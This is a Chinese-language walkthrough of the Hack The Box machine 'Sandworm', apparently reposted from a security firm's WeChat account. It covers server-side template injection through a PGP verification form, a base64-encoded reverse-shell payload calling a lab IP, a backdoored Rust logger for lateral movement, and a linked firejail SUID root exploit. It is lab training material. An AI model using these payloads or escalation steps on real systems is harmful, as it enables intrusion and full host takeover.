HTB-Sandworm

WriteUp 3个月前 admin
21 0 0

点击蓝字 关注我们

HTB-Sandworm

免责声明

本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。

如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。

文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。

添加星标不迷路

由于公众号推送规则改变,微信头条公众号信息会被折叠,为了避免错过公众号推送,请大家动动手指设置“星标”,设置之后就可以和从前一样收到推送啦HTB-Sandworm

HTB-Sandworm

信息收集

简单的扫一下端口

nmap -sC -sV 10.10.11.218

HTB-Sandworm

发现开放了 22 80 443端口 80端口好像是会重定向到443端口

访问80端口时 发现需要通过域名访问 修改hosts文件

HTB-Sandworm

HTB-Sandworm

访问到页面 挂着后台目录扫描 先随便点点看看 有什么可以利用的

查看页面源码也没有二级域名或者可以利用的 点点看有什么功能点

点击右上角第三个 发现个有关密码加密的功能

HTB-Sandworm

HTB-Sandworm

PGP?是什么东西 去问了一下gpt

HTB-Sandworm

大致意思是 通过 生成公钥 私钥 利用私钥进行签名 然后再通过签名和公钥进行解密

漏洞利用

这里需要用到两个网站

https://youritmate.us/pgp/

http://www.2pih.com/pgp.html

先获取公钥

HTB-Sandworm

使用第一个网站 获取私钥

这里需要输入两个值 随意输入一下

HTB-Sandworm

然后再获取私钥

HTB-Sandworm

来到第二个网站进行签名

HTB-Sandworm

再回到页面解密

HTB-Sandworm

HTB-Sandworm

可以发现name出现在哪里

尝试 SSTI注入(服务器端模板注入)

把123换位{{7*7}}

HTB-Sandworm

验证成功!

SSTI

去网上找一下ssti注入拿shell的payload

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yNy80NDQgMD4mMQo=" | base64 -d | bash').read() }}
PayloadsAllTheThings/Server Side Template Injection at master · swisskyrepo/PayloadsAllTheThings

在PayloadsAllTheThings中找到

HTB-Sandworm

把name替换成payload 再进行一次上述的操作

HTB-Sandworm

成功拿到shell

提权

当前用户的权限非常的小 基本的命令都用不了 什么whoami wget等等

HTB-Sandworm

在home下面 发现了另一个用户 猜测应该是 找一下敏感信息密码什么的 来切到silentobserver用户下面

HTB-Sandworm

在~/.config目录中,发现了firejail 和heepie

HTB-Sandworm

去网上找了百度了一下 firejail是啥东西

Firejail 是一个开源的 Linux 容器化工具,用于提供额外的安全层来隔离应用程序的运行环境。它通过使用 Linux 内核的命名空间和 cgroups 功能,创建一个独立的运行环境,使得应用程序在这个环境中运行时无法访问主机系统的敏感资源和文件。

当前环境应该是一个沙箱环境

但是进入不进去 那就进入另一个 最终成功找到了账户密码

HTB-Sandworm

接着回到之前想起开放的22端口 登录

HTB-Sandworm

先上传个脚本运行一下

HTB-Sandworm

HTB-Sandworm

找到一处特别的命令

发现这个命令在opt目录下的tipnet有关

HTB-Sandworm

发现两个可疑的文件 进入进去查看源码

HTB-Sandworm

HTB-Sandworm

代码审计

这两个源码使用的是rust语言 用gpt问问是什么意思

当运行tipnet时,选择e,也就是pull模式,会执行函数pull_indeces,然后这个函数会调用logger中的log函数.
当前用户刚好有对logger目录写入的权限 所以修改logger的源码 再次拿到用tipnet执行的atlas的用户权限

找一下rust语言怎么写shell

https://github.com/LukeDSchenk/rust-backdoors/blob/master/reverse-shell/src/main.rs

HTB-Sandworm

HTB-Sandworm

成功拿到 同时发现多了一个 用户组jailer

查一下具有SUID权限的文件 jailer具有 之前提到的那个沙箱环境的suid权限

find / -perm -4000 -type f 2>/dev/null

HTB-Sandworm

接着就可以去网上找一下有关firejail的poc 找到之后直接打了过去

https://gist.github.com/GugSaas/9fb3e59b3226e8073b3f8692859f8d25#file-exploit-py-L221

HTB-Sandworm

他这个意思是 输入 firejail –join=2271 这个命令后 再输入su – 来获得root权限 那就还需要一个终端来输入

那就把上面的操作再来一遍

最终

HTB-Sandworm

拿下!



欢迎关注SecHub网络安全社区,SecHub网络安全社区目前邀请式注册,邀请码获取见公众号菜单【邀请码】

#


企业简介   


赛克艾威 – 专注政企安全服务


       北京赛克艾威科技有限公司(简称:赛克艾威),成立于2016年9月,具有中国网络安全审查技术与认证中心安全风险评估服务三级资质CCRC,信息安全保障人员资质CISAW(安全评估专家级)。


安全评估|渗透测试|漏洞扫描|安全巡检

代码审计|钓鱼演练|应急响应|安全运维

重大时刻安保|企业安全培训

HTB-Sandworm

联系方式

电话|010-86460828 

官网|https://sechub.com.cn

HTB-Sandworm

关注我们

HTB-Sandworm
HTB-Sandworm
HTB-Sandworm

公众号:sechub安全

哔哩号:SecHub官方账号


原文始发于微信公众号(SecHub网络安全社区):HTB-Sandworm

版权声明:admin 发表于 2023年12月4日 上午9:37。
转载请注明:HTB-Sandworm | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...